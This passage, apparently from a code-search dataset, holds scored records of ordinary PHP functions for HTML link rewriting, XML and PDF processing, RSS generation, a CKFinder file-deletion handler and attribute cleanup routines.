*/\n $doc = new DOMDocument();\n @$doc->loadHTMLFile($src_path);\n \n if($doc)\n { \n $allA = $doc->getElementsByTagName('a');\n \n foreach($allA as $el)\n {\n $aref = $el->getAttribute('href'); \n\n /*\n * It is possible that the path fragment could\n * match on a partial, so we make sure we have\n * full paths for search and replacement, as well\n * as a closing slash for folders.\n */\n \n $r_old_name = self::M()->publicRootPath.$old_name;\n $r_new_name = self::M()->publicRootPath.$new_name; \n\n if(strpos($aref,$r_old_name)!== false)\n {\n /*\n * found the link. Do string replacement.\n */ \n\n $el->setAttribute('href',str_replace($r_old_name,$r_new_name,$aref));\n \n /*\n * again... linkrefs table will store multiple target references\n * if the document contains multiple links to the same file. So,\n * we just handle the first one we find, and progress through the\n * linkrefs list will eventually remove them all.\n */\n break;\n }\n } \n \n /*\n * now rewrite source file. \n */\n @$doc->saveHTMLFile($src_path);\n }\n\t\t } \n\t\t \n\t\t /*\n\t\t * Now update the `linkref` table to reflect changes.\n\t\t */\n $q = \" UPDATE linkrefs \n SET target_file = \n REPLACE(target_file, '\".mysql_real_escape_string($old_name).\"', '\".mysql_real_escape_string($new_name).\"') \n WHERE target_file LIKE '\".mysql_real_escape_string($old_name).\"%' \";\n \n if(!mysql_query($q))\n {\n return false; \n }\n \n return true;\n\t\t }", "title": "" }, { "docid": "dfc3413956f4da299619136d42a7c192", "score": "0.40691394", "text": "public function xml_reset($markers = array())\n {\n foreach ($markers as $marker)\n if ($this->xml->isset_marker($marker))\n {\n $this->xml->goto($marker);\n $this->xml->remove();\n $this->xml->add_node($marker);\n $this->xml->set_marker($marker);\n $this->xml->parse_node();\n $this->xml->restore();\n }\n }", "title": "" }, { "docid": "ac0076995c424283ab3837915c3bcf2f", "score": "0.4068742", "text": "protected function _resetDocument(){\n $this->_loadPHPExcel();\n $this->_phpExcel = new PHPExcel();\n $this->_unloadPHPExcel();\n }", "title": "" }, { "docid": "8dd66685e752f1abbc5e8c708d456dfd", "score": "0.4066019", "text": "function pdf2xml_xml_object($pdf, XMLWriter $xmlWriter)\n{\n\tif(isset($pdf[0]))\n\t{\n\t\tswitch($pdf[0])\n\t\t{\n\t\t\tcase '<<':\n\t\t\t\tpdf2xml_xml_dictionary($pdf, $xmlWriter);\n\t\t\tbreak;\n\t\t\tcase '[':\n\t\t\t\tpdf2xml_xml_array($pdf, $xmlWriter);\n\t\t\tbreak;\n\t\t\tcase '(':\n\t\t\t\tpdf2xml_xml_string($pdf, 'literal' ,$xmlWriter);\n\t\t\tbreak;\n\t\t\tcase '<':\n\t\t\t\tpdf2xml_xml_string($pdf, 'hexadecimal', $xmlWriter);\n\t\t\tbreak;\n\t\t\tcase '/':\n\t\t\t\tpdf2xml_xml_name($pdf, $xmlWriter);\n\t\t\tbreak;\n\t\t\tcase 'boolean':\n\t\t\t\tpdf2xml_xml_boolean($pdf, $xmlWriter);\n\t\t\tbreak;\n\t\t\tcase 'null':\n\t\t\t\tpdf2xml_xml_null($pdf, $xmlWriter);\n\t\t\tbreak;\n\t\t\tcase 'numeric':\n\t\t\t\tpdf2xml_xml_numeric($pdf, $xmlWriter);\n\t\t\tbreak;\n\t\t\tcase 'objref':\n\t\t\t\tpdf2xml_xml_objref($pdf, $xmlWriter);\n\t\t\tbreak;\n\t\t\tcase 'stream':\n\t\t\t\tpdf2xml_xml_stream($pdf, $xmlWriter);\n\t\t\tbreak;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "70f7c41f726835b1f23f93b44215c718", "score": "0.40617943", "text": "protected function rewriteSDsri_XML()\n {\n if( $this->dsri )\n {\n $find_option = DH::findFirstElementOrCreate('option', $this->xmlroot);\n $this->xmlroot = $find_option;\n $find = DH::findFirstElementOrCreate('disable-server-response-inspection', $this->xmlroot);\n DH::setDomNodeText($find, 'yes');\n }\n else\n {\n $find_option = DH::findFirstElementOrCreate('option', $this->xmlroot);\n $this->xmlroot = $find_option;\n $find = DH::findFirstElementOrCreate('disable-server-response-inspection', $this->xmlroot);\n DH::setDomNodeText($find, 'no');\n }\n }", "title": "" }, { "docid": "9bed69f3b8d2ee9d677252055aedbf86", "score": "0.40469792", "text": "function cleanAttributes($dom, $elementsToSearch, $attributesToClean) {\n\t\tforeach ($elementsToSearch as $element) {\n\t\t\t$nodes = $this->getElementsToClean($dom, $element[\"typeSearch\"], $element[\"tag\"], $element[\"value\"]);\n\t\t\tforeach ($nodes as $node) { // Iterate over found elements\n\t\t\t\tforeach ($attributesToClean as $attr) {\n\t\t\t\t\tif ($node->hasAttribute($attr)) {\n\t\t\t\t\t\t$node->removeAttribute($attr); // Remove style attribute\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t \n\t\t\t}\n\t\t}\n\t\treturn $dom;\n\t}", "title": "" }, { "docid": "f7d119bc83a96c2c609d3a420b257eb2", "score": "0.4043392", "text": "private function ReloadTcpdfData()\n\t{\n\t\t$trimpos = strpos($this->string_pdf, '%PDF-');\n\t\t$this->pdfdata = substr($this->string_pdf, $trimpos);\n\t\t$pdflen = strlen($this->string_pdf);\n\t\t$this->setConfig(array());\n\t\t$this->xref = $this->getXrefData();\n\n\t\t// parse all document objects\n\t\t$this->objects = array();\n\t\tforeach ($this->xref['xref'] as $obj => $offset) {\n\t\t\tif (!isset($this->objects[$obj]) AND ($offset > 0)) {\n\t\t\t\t$this->objects[$obj] = $this->getIndirectObject($obj, $offset, true);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "0d5a9cf6aceebffcba4617c49c73ac8d", "score": "0.40432483", "text": "protected function validate_xml(){\n\t\tlibxml_use_internal_errors(true);\n\n\t\t$doc = simplexml_load_string( $this->value );\n\t\t$xml = explode( \"\\n\", $this->value );\n\n\t\tif( $doc !== false ) {\n\t\t\t$this->valid = true;\n\t\t} else{\n\t\t $errors = libxml_get_errors();\n\n\t\t foreach ( $errors as $error ) {\n\t\t\t\tif( $this->log )\n\t\t \tbrafton_log( array( 'message' => \"Invalid xml string. PHP resolved this error: \" . display_xml_error( $error, $xml ) . \" Validate xml called by {$this->trace[1]['class']} :: {$this->trace[1]['function']}\" ) );\n\t\t }\n\n\t\t libxml_clear_errors();\n\t\t}\n\t}", "title": "" }, { "docid": "596ff0d7957e38044d0b02ea0a9db3ac", "score": "0.40424258", "text": "public function __destruct()\n {\n xml_parser_free($this->parser);\n }", "title": "" }, { "docid": "8abcd2f42ba6f568c250b8ca14ec109f", "score": "0.40398175", "text": "public function pdfEdit(bool $dl){\n require_once '..'.DIRECTORY_SEPARATOR.'src'.DIRECTORY_SEPARATOR.'Classes'.DIRECTORY_SEPARATOR.'DAO'.DIRECTORY_SEPARATOR.'PatientDAO.php';\n require_once '..'.DIRECTORY_SEPARATOR.'src'.DIRECTORY_SEPARATOR.'Classes'.DIRECTORY_SEPARATOR.'Objets'.DIRECTORY_SEPARATOR.'Patient.php';\n require_once '..'.DIRECTORY_SEPARATOR.'src'.DIRECTORY_SEPARATOR.'Classes'.DIRECTORY_SEPARATOR.'Objets'.DIRECTORY_SEPARATOR.'Praticien.php';\n require_once '..'.DIRECTORY_SEPARATOR.'src'.DIRECTORY_SEPARATOR.'Classes'.DIRECTORY_SEPARATOR.'DAO'.DIRECTORY_SEPARATOR.'praticienDAO.php';\n include (\"..\".DIRECTORY_SEPARATOR.\"src\".DIRECTORY_SEPARATOR.\"bdd\".DIRECTORY_SEPARATOR.\"bdd.php\");\n \n if(isset($_GET['patient'])&&!empty($_GET['patient'])){\n $attributes=[];\n $table=explode(\",\",$_GET['patient']);\n\n foreach($table as $couple){\n \n $attribute=explode(\"=\",$couple);\n $attribute[0]=str_replace(\" \",\"\",$attribute[0]);\n $attributes[$attribute[0]]=$attribute[1];\n }\n $patient=new Patient($attributes);\n }else{\n $patientDAO=new patientDAO($pdo);\n $patient=$patientDAO->get($_GET['idPatient']);\n }\n if(isset($_GET['praticien'])&&!empty($_GET['praticien'])){\n $attributes=[];\n $table=explode(\",\",$_GET['praticien']);\n\n foreach($table as $couple){\n \n $attribute=explode(\"=\",$couple);\n $attribute[0]=str_replace(\" \",\"\",$attribute[0]);\n $attributes[$attribute[0]]=$attribute[1];\n }\n $praticien=new Praticien($attributes);\n }else{\n $praticienDAO=new praticienDAO($pdo);\n $praticien=$praticienDAO->get($_SESSION['idPraticien']);\n }\n $months = ['Janvier','Février','Mars','Avril','Mai','Juin','Juillet','Août','Septembre','Octobre','Novembre','Décembre'];\n $array=explode(\"-\",$patient->getDateNaissance());\n $dateNaissance=$array[2].' '.$months[$array[1]-1].' '.$array[0];\n $ListeMeds=[];\n foreach($_GET as $key=>$value){\n if(strpos($key, \"Medicament\") !== false){\n \n $ListeMeds[$key]=$value;\n }\n }\n\n\n\n\n $pdf = new OrdonnancePDF('P','mm','A5');\n $pdf->AliasNbPages();\n $pdf->AddPage();\n\n $pdf->SetFont('Arial','',8);\n $pdf->SetTextColor(48,186,190);\n\n $ajd=new DateTime();\n $date=$ajd->format('d').' '.$months[$ajd->format('m')-1].' '.$ajd->format('Y');\n $pdf->Cell(120,5,'Nantes, le '.$date.',','',1,'R');\n\n $pdf->SetTextColor(95, 95, 95);\n $pdf->SetFont('Arial','B',12);\n\n $pdf->Cell(10,4,'','',0);\n $pdf->Cell(0,4,utf8_decode(\"{$patient->getNom()} {$patient->getPrenom()}\"),'',1);\n $pdf->Cell(10,4,'','',0);\n\n $pdf->SetFont('Arial','',8);\n\n $pdf->Cell(0,4,utf8_decode('Né le : ').$dateNaissance,'',1);\n $pdf->ln(4);\n foreach($ListeMeds as $Med){\n $pdf->SetTextColor(95, 95, 95);\n $pdf->SetFont('Arial','B',10);\n $pdf->Cell(15,8,'','',0);\n $pdf->Cell(30,5,utf8_decode($Med['nom']),'',0);\n $pdf->SetFont('Arial','I',8);\n $pdf->SetTextColor(0, 0, 0);\n $pdf->MultiCell(0,5,utf8_decode($Med['posologie']));\n $pdf->ln(8);\n }\n ($dl) ? $pdf->Output('D',$ajd->format('Y-m-d').\"_Ordonnance_\".$patient->getNom()) : $pdf->Output();\n}", "title": "" }, { "docid": "a10ea294e53cb911010d06f911bef83b", "score": "0.40397346", "text": "protected function buildXml()\r\n {\r\n if (empty($_POST['CKFinderCommand']) || $_POST['CKFinderCommand'] != 'true') {\r\n $this->_errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_INVALID_REQUEST);\r\n }\r\n\r\n if (!$this->_currentFolder->checkAcl(CKFINDER_CONNECTOR_ACL_FILE_DELETE)) {\r\n $this->_errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_UNAUTHORIZED);\r\n }\r\n\r\n $oErrorsNode = new CKFinder_Connector_Utils_XmlNode(\"Errors\");\r\n $errorCode = CKFINDER_CONNECTOR_ERROR_NONE;\r\n $deleted = 0;\r\n $oDeleteFilesNode = new Ckfinder_Connector_Utils_XmlNode(\"DeleteFiles\");\r\n\r\n $currentResourceTypeConfig = $this->_currentFolder->getResourceTypeConfig();\r\n $_config = & CKFinder_Connector_Core_Factory::getInstance(\"Core_Config\");\r\n $_aclConfig = $_config->getAccessControlConfig();\r\n $aclMasks = array();\r\n $_resourceTypeConfig = array();\r\n $checkedPaths = array();\r\n\r\n if (!empty($_POST['files']) && is_array($_POST['files'])) {\r\n foreach ($_POST['files'] as $arr) {\r\n if (empty($arr['name'])) {\r\n continue;\r\n }\r\n if (!isset($arr['type'], $arr['folder'])) {\r\n $this->_errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_INVALID_REQUEST);\r\n }\r\n\r\n // file name\r\n $name = CKFinder_Connector_Utils_FileSystem::convertToFilesystemEncoding($arr['name']);\r\n // resource type\r\n $type = $arr['type'];\r\n // client path\r\n $path = CKFinder_Connector_Utils_FileSystem::convertToFilesystemEncoding($arr['folder']);\r\n\r\n if (!isset($_resourceTypeConfig[$type])) {\r\n $_resourceTypeConfig[$type] = $_config->getResourceTypeConfig($type);\r\n }\r\n\r\n if (is_null($_resourceTypeConfig[$type]) || !CKFinder_Connector_Utils_FileSystem::checkFileName($name) || preg_match(CKFINDER_REGEX_INVALID_PATH, $path)) {\r\n $this->_errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_INVALID_REQUEST);\r\n }\r\n\r\n if (!$_resourceTypeConfig[$type]->checkExtension($name, false)) {\r\n $this->_errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_INVALID_REQUEST);\r\n }\r\n\r\n if (empty($checkedPaths[$path])) {\r\n $checkedPaths[$path] = true;\r\n\r\n if ($_resourceTypeConfig[$type]->checkIsHiddenPath($path)) {\r\n $this->_errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_INVALID_REQUEST);\r\n }\r\n }\r\n\r\n if ($currentResourceTypeConfig->checkIsHiddenFile($name)) {\r\n $this->_errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_INVALID_REQUEST);\r\n }\r\n\r\n if (!isset($aclMasks[$type.\"@\".$path])) {\r\n $aclMasks[$type.\"@\".$path] = $_aclConfig->getComputedMask($type, $path);\r\n }\r\n\r\n $isAuthorized = (($aclMasks[$type.\"@\".$path] & CKFINDER_CONNECTOR_ACL_FILE_DELETE) == CKFINDER_CONNECTOR_ACL_FILE_DELETE);\r\n if (!$isAuthorized) {\r\n $this->_errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_UNAUTHORIZED);\r\n }\r\n\r\n $filePath = $_resourceTypeConfig[$type]->getDirectory().$path.$name;\r\n\r\n if (!file_exists($filePath) || !is_file($filePath) ) {\r\n $errorCode = CKFINDER_CONNECTOR_ERROR_FILE_NOT_FOUND;\r\n $this->appendErrorNode($oErrorsNode, $errorCode, $name, $type, $path);\r\n continue;\r\n }\r\n\r\n if ( !CKFinder_Connector_Utils_FileSystem::unlink($filePath) ){\r\n $errorCode = CKFINDER_CONNECTOR_ERROR_ACCESS_DENIED;\r\n $this->appendErrorNode($oErrorsNode, $errorCode, $name, $type, $path);\r\n continue;\r\n } else {\r\n $deleted++;\r\n\r\n $thumbPath = CKFinder_Connector_Utils_FileSystem::combinePaths($this->_currentFolder->getThumbsServerPath(), $name);\r\n\r\n @unlink($thumbPath);\r\n }\r\n }\r\n }\r\n\r\n $this->_connectorNode->addChild($oDeleteFilesNode);\r\n if ($errorCode != CKFINDER_CONNECTOR_ERROR_NONE) {\r\n $this->_connectorNode->addChild($oErrorsNode);\r\n }\r\n $oDeleteFilesNode->addAttribute(\"deleted\", $deleted);\r\n\r\n if ($errorCode != CKFINDER_CONNECTOR_ERROR_NONE) {\r\n $this->_errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_DELETE_FAILED);\r\n }\r\n }", "title": "" }, { "docid": "b754628449e420ff8b36c28001895786", "score": "0.4034916", "text": "public function setPageContent( &$outputDone, &$useParserCache ) {\n\t\t$request = $this->getRequest();\n\t\t$this->load();\n\t\t# Only trigger on page views with no oldid=x param\n\t\tif ( !$this->isPageView( $request ) || $request->getVal( 'oldid' ) ) {\n\t\t\treturn true;\n\t\t# Only trigger for reviewable pages that exist\n\t\t} elseif ( !$this->article->exists() || !$this->article->isReviewable() ) {\n\t\t\treturn true;\n\t\t}\n\t\t$tag = '';\n\t\t$old = $stable = false;\n\t\t# Check the newest stable version.\n\t\t$srev = $this->article->getStableRev();\n\t\t$stableId = $srev ? $srev->getRevId() : 0;\n\t\t$frev = $srev; // $frev is the revision we are looking at\n\t\t# Check for any explicitly requested reviewed version (stableid=X)...\n\t\t$reqId = $this->getRequestedStableId();\n\t\tif ( $reqId ) {\n\t\t\tif ( !$stableId ) {\n\t\t\t\t$reqId = false; // must be invalid\n\t\t\t# Treat requesting the stable version by ID as &stable=1\n\t\t\t} elseif ( $reqId != $stableId ) {\n\t\t\t\t$old = true; // old reviewed version requested by ID\n\t\t\t\t$frev = FlaggedRevision::newFromTitle( $this->article->getTitle(), $reqId );\n\t\t\t\tif ( !$frev ) {\n\t\t\t\t\t$reqId = false; // invalid ID given\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$stable = true; // stable version requested by ID\n\t\t\t}\n\t\t}\n\t\t// $reqId is null if nothing requested, false if invalid\n\t\tif ( $reqId === false ) {\n\t\t\t$this->out->addWikiText( wfMsg( 'revreview-invalid' ) );\n\t\t\t$this->out->returnToMain( false, $this->article->getTitle() );\n\t\t\t# Tell MW that parser output is done\n\t\t\t$outputDone = true;\n\t\t\t$useParserCache = false;\n\t\t\treturn true;\n\t\t}\n\t\t// Is the page config altered?\n\t\t$prot = FlaggedRevsXML::lockStatusIcon( $this->article );\n\t\t// Is there no stable version?\n\t\tif ( !$frev ) {\n\t\t\t# Add \"no reviewed version\" tag, but not for printable output\n\t\t\t$this->showUnreviewedPage( $tag, $prot );\n\t\t\treturn true;\n\t\t}\n\t\t# Get flags and date\n\t\t$flags = $frev->getTags();\n\t\t# Get quality level\n\t\t$quality = FlaggedRevs::isQuality( $flags );\n\t\t$pristine = FlaggedRevs::isPristine( $flags );\n\t\t// Looking at some specific old stable revision (\"&stableid=x\")\n\t\t// set to override given the relevant conditions. If the user is\n\t\t// requesting the stable revision (\"&stableid=x\"), defer to override\n\t\t// behavior below, since it is the same as (\"&stable=1\").\n\t\tif ( $old ) {\n\t\t\t# Tell MW that parser output is done by setting $outputDone\n\t\t\t$outputDone = $this->showOldReviewedVersion( $frev, $tag, $prot );\n\t\t\t$useParserCache = false;\n\t\t// Stable version requested by ID or relevant conditions met to\n\t\t// to override page view with the stable version.\n\t\t} elseif ( $stable || $this->showingStable() ) {\n\t\t\t# Tell MW that parser output is done by setting $outputDone\n\t\t\t$outputDone = $this->showStableVersion( $srev, $tag, $prot );\n\t\t\t$useParserCache = false;\n\t\t// Looking at some specific old revision (&oldid=x) or if FlaggedRevs is not\n\t\t// set to override given the relevant conditions (like &stable=0) or there\n\t\t// is no stable version.\n\t\t} else {\n\t\t\t$this->showDraftVersion( $srev, $tag, $prot );\n\t\t}\n\t\t# Some checks for which tag CSS to use\n\t\tif ( $this->useSimpleUI() ) {\n\t\t\t$tagClass = 'flaggedrevs_short';\n\t\t} elseif ( $pristine ) {\n\t\t\t$tagClass = 'flaggedrevs_pristine';\n\t\t} elseif ( $quality ) {\n\t\t\t$tagClass = 'flaggedrevs_quality';\n\t\t} else {\n\t\t\t$tagClass = 'flaggedrevs_basic';\n\t\t}\n\t\t# Wrap tag contents in a div\n\t\tif ( $tag != '' ) {\n\t\t\t$css = \"{$tagClass} plainlinks noprint\";\n\t\t\t$notice = \"<div id=\\\"mw-fr-revisiontag\\\" class=\\\"{$css}\\\">{$tag}</div>\\n\";\n\t\t\t$this->reviewNotice .= $notice;\n\t\t}\n\t\treturn true;\n\t}", "title": "" }, { "docid": "e3e756645b8ff4dd89578ac1ea3c498c", "score": "0.4031848", "text": "protected function buildXml()\n {\n }", "title": "" }, { "docid": "383476840a141e4e94fa998b8a0d0b57", "score": "0.4028684", "text": "public function cleanUp($html, $alias = null);", "title": "" }, { "docid": "8ce09ced8bd36baae7c6713e0500e478", "score": "0.40210015", "text": "function fiction_parser(){\n\t//parse the file and get the xml object\n\t$xmlstring = file_get_contents(\"C:/Program Files (x86)/BaseX/webapp/xml/fiction_final.xml\");\n\n\t$xml = simplexml_load_string($xmlstring);\t\n\n\t//pass the object to another function to get the string from it to be into a file. \n\t//and get the file of tags as a string for user modifying.\n\t$file = fopen(\"E:/xampp/tomcat/webapps/pro_b/static/xml/fiction_tag.xml\", \"w\");\n\n\tfputs($file, \"<book>\".PHP_EOL);\n\n\tfputs($file, \"<tag>simple-page-master</tag>\".PHP_EOL);\n\n\tpage_master_tag($file);\t\t// fputs(\"<tag>...</tag>\") in this function\t\n\n\tdisplayNode($xml, 0, $file);\n\n\t// special for \"TOC\" part of the book\n\tfputs($file, \"<tag>toc-ttl</tag>\".PHP_EOL);\n\tfputs($file, \"<tag>toc-itm</tag>\".PHP_EOL);\n\tfputs($file, \"<tag>toc-pge</tag>\".PHP_EOL);\t\t\n\n\t$tags = file_get_contents(\"E:/xampp/tomcat/webapps/pro_b/static\\default_set/tag_add.xml\");\n\tfputs($file, $tags.PHP_EOL);\n\n\tfputs($file, \"</book>\");\n\n\tfclose($file);\n}", "title": "" }, { "docid": "36dd2ef281c4c23024bf8158165c9ca5", "score": "0.40174064", "text": "public function setXML($xml) {\n\t\n\t\t// Initialize the DOM-tree\n\t\t$this->document = new DOMDocument();\n\t\t$this->document->loadXML($xml);\n\t\t\n\t\treturn $this->document->saveXML();\n\t}", "title": "" }, { "docid": "25b376ca6fd3017e9f95a49b765d60d0", "score": "0.40154493", "text": "public function readdata($filename) {\n // Read the XML into a simpleXMLObject.\n $sxmlref = simplexml_load_file($filename);\n\n // Simplexml_load_file returns an empty object simpleXMLObject instead of null or false.\n // Return the simpleXMLObject if not empty.\n if (!empty($sxmlref)) {\n return $sxmlref;\n }\n\n return false;\n }", "title": "" }, { "docid": "e0e6d3d70bf76891f7330b597b82aec4", "score": "0.40146163", "text": "function changeAttributesIntoElements($dom, $elem) {\n\tif ($elem->hasAttributes()) {\n\t\tforeach ($elem->attributes as $attr) {\n\t\t\t$elem->appendChild($dom->createElement($attr->name, $attr->value));\n\t\t}\n\t\twhile ($elem->attributes->length > 0) {\n\t\t\t$elem->removeAttributeNode($elem->attributes->item(0));\n\t\t}\n\t}\n\n\t// remove all empty \"notes\" elements\n\t$nodeToDelete = findSubnode($elem, \"notes\", \"\");\n\twhile (!is_null($nodeToDelete)) {\n\t\t$elem->removeChild($nodeToDelete);\n\t\t$nodeToDelete = findSubnode($elem, \"notes\", \"\");\n\t}\n\t// recurse over child nodes\n\tforeach ($elem->childNodes as $subnode) {\n\t\tif ($subnode->nodeType == XML_ELEMENT_NODE) {\n\t\t\tchangeAttributesIntoElements($dom, $subnode);\n\t\t}\n\t}\n}", "title": "" }, { "docid": "94c0e9c69baefec7a889383a2d10b7ea", "score": "0.40137216", "text": "private function _loadFileIntoDOMDocument($doc, $filename) {\n\t\t$xmlString = file_get_contents($filename);\n\t\t\n\t\t// The current Clarity XML is not well-formed in that it contains & characters, so go through and replace this with the correct\n\t\t// html entity before passing to the libxml parser.\n\t\t$xmlString = ereg_replace(\"&\", \"&amp;\", $xmlString);\n\t\t\n\t\t// Create the XML document from the string\n\t\t$doc->loadXML($xmlString, LIBXML_COMPACT);\n\t}", "title": "" }, { "docid": "10c9381e0981d5217044a5c99643bc50", "score": "0.40089864", "text": "function rebuild() {\n\t\t}", "title": "" }, { "docid": "e99697a1e29afeb7db762a429fdc4b9c", "score": "0.40052846", "text": "abstract public function clearLinks();", "title": "" }, { "docid": "02a849e11aeb6add57617283c9e1d87f", "score": "0.40045807", "text": "abstract protected function buildXmlStructure();", "title": "" }, { "docid": "83e6ca314e347f9bab5623a2d2949599", "score": "0.39965376", "text": "public function clean(){\n\t\t//we're all clean!\n\t}", "title": "" }, { "docid": "8aff92e2ae0bc27a0292b3a97525b4e7", "score": "0.3995624", "text": "function updateRSS(){\n // édition du début du fichier XML\n $date1=(\"D, d M Y H:i:s\");\n $xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?><rss version=\\\"2.0\\\">\\n\";\n $xml .= \"<!DOCTYPE rss SYSTEM \\\"RSSDTD.dtd\\\">\";\n $xml .= \"<channel>\\n\";\n $xml .= \"<title>Acupunctweb</title>\\n\";\n $xml .= \"<lastBuildDate>\".$date1.\"</lastBuildDate>\";\n $xml .= \"<link>http://www.acupunctweb.fr</link>\\n\";\n $xml .= \"<description>La référence de l'acupuncture</description>\\n\";\n\n $listArticles=getArticles();\n foreach ($listArticles as $value) {\n $date2 = date(\"D, d M Y H:i:s\", strtotime($value[\"datePub\"]));\n $xml .= \"<item>\\n\";\n $xml .= \"<title>\".utf8_encode($value[\"title\"]).\"</title>\\n\";\n $xml .= \"<link>http://www.acupunctweb.fr</link>\\n\";\n $xml .= \"<pubDate>\".$date2.\" GMT</pubDate>\\n\";\n $xml .= \"<description>\".utf8_encode($value[\"Content\"]).\"</description>\\n\";\n $xml .= \"</item>\\n\";\n }\n // édition de la fin du fichier XML\n $xml .= \"</channel>\\n\";\n $xml .= \"</rss>\\n\";\n\n// écriture dans le fichier\n $fp = fopen(\"rss.xml\", \"w+\");\n fputs($fp, $xml);\n fclose($fp);\n\n}", "title": "" }, { "docid": "e221b94ef452915364cdfa59616bb7b5", "score": "0.3983591", "text": "function HandleXmlError($errno, $errstr, $errfile, $errline){\n\tif ($errno==E_WARNING && (substr_count($errstr,\"DOMDocument::loadXML()\")>0)){\n\t\tthrow new DOMException($errstr);\n\t}else{ \n\t\treturn false;\n\t}\n}", "title": "" }, { "docid": "ce32102ebd46ca9004a3677bfedbfa87", "score": "0.3979534", "text": "public function process( XMLreader$reader );", "title": "" }, { "docid": "e45cbbf595cc80f21408c30698e34258", "score": "0.39792618", "text": "function cleangen(){\n//************************************** suppression/réinitialisation des fichier ***************************\n fopen('cv.xml','w');\n fopen('home.php','w');\n if(file_exists(\"images/identity_tmp.png\"))\n unlink('images/identity_tmp.png');\n fopen('layout/config.php','w');\n fopen('matieres/matieres.xml','w');\n foreach (glob(\"matieres/cours/*.*\") as $filename)\n unlink($filename); \n foreach (glob(\"matieres/td/*.*\") as $filename)\n unlink($filename);\n fopen('publication/Bibliographie.php','w'); \n fopen('publication/Ressources.php','w');\n foreach (glob(\"publication/my/*.*\") as $filename)\n unlink($filename); \n foreach (glob(\"publication/reco/*.*\") as $filename)\n unlink($filename); \n\n\n}", "title": "" }, { "docid": "c34ec6e0ee732235a0f51960d9417859", "score": "0.39787704", "text": "function deleteQuery($queryID){\n\t\t\n\t\t$queries = simplexml_load_file(\"xml/query.xml\");\n\t\t\n\t\t$res = $queries->xpath('/DATA/QUERY[queryID=\"'.$queryID.'\"]');\t\t\t\t\t\t\t\n\t\t$oNode = dom_import_simplexml($res[0]);\t\t\t\t\n\t\tif (!$oNode) {\n\t\t //echo 'Error while converting SimpleXMLelement to DOM';\n\t\t return false;\n\t\t}\t\t\n\t\t$oNode->parentNode->removeChild($oNode); \t\t\t\t\t\t\n\t\t$queries->asXML(\"xml/query.xml\");\n\t\t\n\t\treturn true;\n\t\t\n\t}", "title": "" }, { "docid": "46a281a51a774c777b7d2d30f086baee", "score": "0.39787307", "text": "function cleanup(){\n foreach ($this->attrs as $index => $value){\n if($this->initialContactAccount && !$this->kopanoContactAccount){\n if(in_array($index, $this->kopanoContactAttributes) &&\n !in_array($index, $this->kopanoUserAttributes)){\n $this->attrs[$index] = array();\n continue;\n }\n }else if($this->kopanoContactAccount){\n if(!in_array($index, $this->kopanoContactAttributes) && \n in_array($index, $this->kopanoUserAttributes)){\n $this->attrs[$index] = array();\n continue;\n }\n }\n\n /* Convert arrays with one element to non arrays, if the saved\n * attributes are no array, too */\n if (is_array($this->attrs[$index]) &&\n count ($this->attrs[$index]) == 1 &&\n isset($this->saved_attributes[$index]) &&\n !is_array($this->saved_attributes[$index])){\n\n $tmp= $this->attrs[$index][0];\n $this->attrs[$index]= $tmp;\n }\n\n /* Remove emtpy arrays if they do not differ */\n if (is_array($this->attrs[$index]) &&\n count($this->attrs[$index]) == 0 &&\n !isset($this->saved_attributes[$index])){\n\n unset ($this->attrs[$index]);\n continue;\n }\n\n /* Remove single attributes that do not differ */\n if (!is_array($this->attrs[$index]) &&\n isset($this->saved_attributes[$index]) &&\n !is_array($this->saved_attributes[$index]) &&\n $this->attrs[$index] == $this->saved_attributes[$index]){\n\n unset ($this->attrs[$index]);\n continue;\n }\n /* Remove arrays that do not differ */\n if (is_array($this->attrs[$index]) &&\n isset($this->saved_attributes[$index]) &&\n is_array($this->saved_attributes[$index])){\n\n if (!array_differs($this->attrs[$index],$this->saved_attributes[$index])){\n unset ($this->attrs[$index]);\n continue;\n }\n }\n }\n\n /* Update saved attributes and ensure that next cleanups will be successful too */\n foreach($this->attrs as $name => $value){\n $this->saved_attributes[$name] = $value;\n }\n }", "title": "" }, { "docid": "8e88ba2279f77ffdf7cc6a0d5fda199a", "score": "0.39766744", "text": "private function cleanURLList ($location, $result) {\n\t$URLs = $location['md-electronic-url'];\n\t\n\tif ($URLs) {\n\t\t// Figure out which URLs are duplicates and collect indexes of those to remove.\n\t\t$indexesToRemove = Array();\n\t\tforeach ($URLs as $URLIndex => $URLInfo) {\n\t\t\t$URL = $URLInfo['values'][0];\n\n\t\t\t// Check for duplicates in the electronic-urls field.\n\t\t\tfor ($remainingURLIndex = $URLIndex + 1; $remainingURLIndex < count($URLs); $remainingURLIndex++) {\n\t\t\t\t$remainingURLInfo = $URLs[$remainingURLIndex];\n\t\t\t\t$remainingURL = $remainingURLInfo['values'][0];\n\t\t\t\tif ($URL == $remainingURL) {\n\t\t\t\t\t// Two of the URLs are identical.\n\t\t\t\t\t// Keep the one with the title if only one of them has one,\n\t\t\t\t\t// keep the first one otherwise.\n\t\t\t\t\t$URLIndexToRemove = $URLIndex + $remainingURLIndex;\n\t\t\t\t\tif (!$URLInfo['attrs'] && $remainingURLInfo['attrs']) {\n\t\t\t\t\t\t$URLIndexToRemove = $URLIndex;\n\t\t\t\t\t}\n\t\t\t\t\t$indexesToRemove[$URLIndexToRemove] = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Check for duplicates among the DOIs.\n\t\t\t$DOIs = $result['md-doi'];\n\t\t\tif ($DOIs) {\n\t\t\t\tforeach ($DOIs as $DOI) {\n\t\t\t\t\tif (strpos($DOI['values'][0], $URL) !== False) {\n\t\t\t\t\t\t$indexesToRemove[$URLIndexToRemove] = true;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Remove the duplicate URLs.\n\t\tforeach (array_keys($indexesToRemove) as $index) {\n\t\t\t$URLs[$index] = 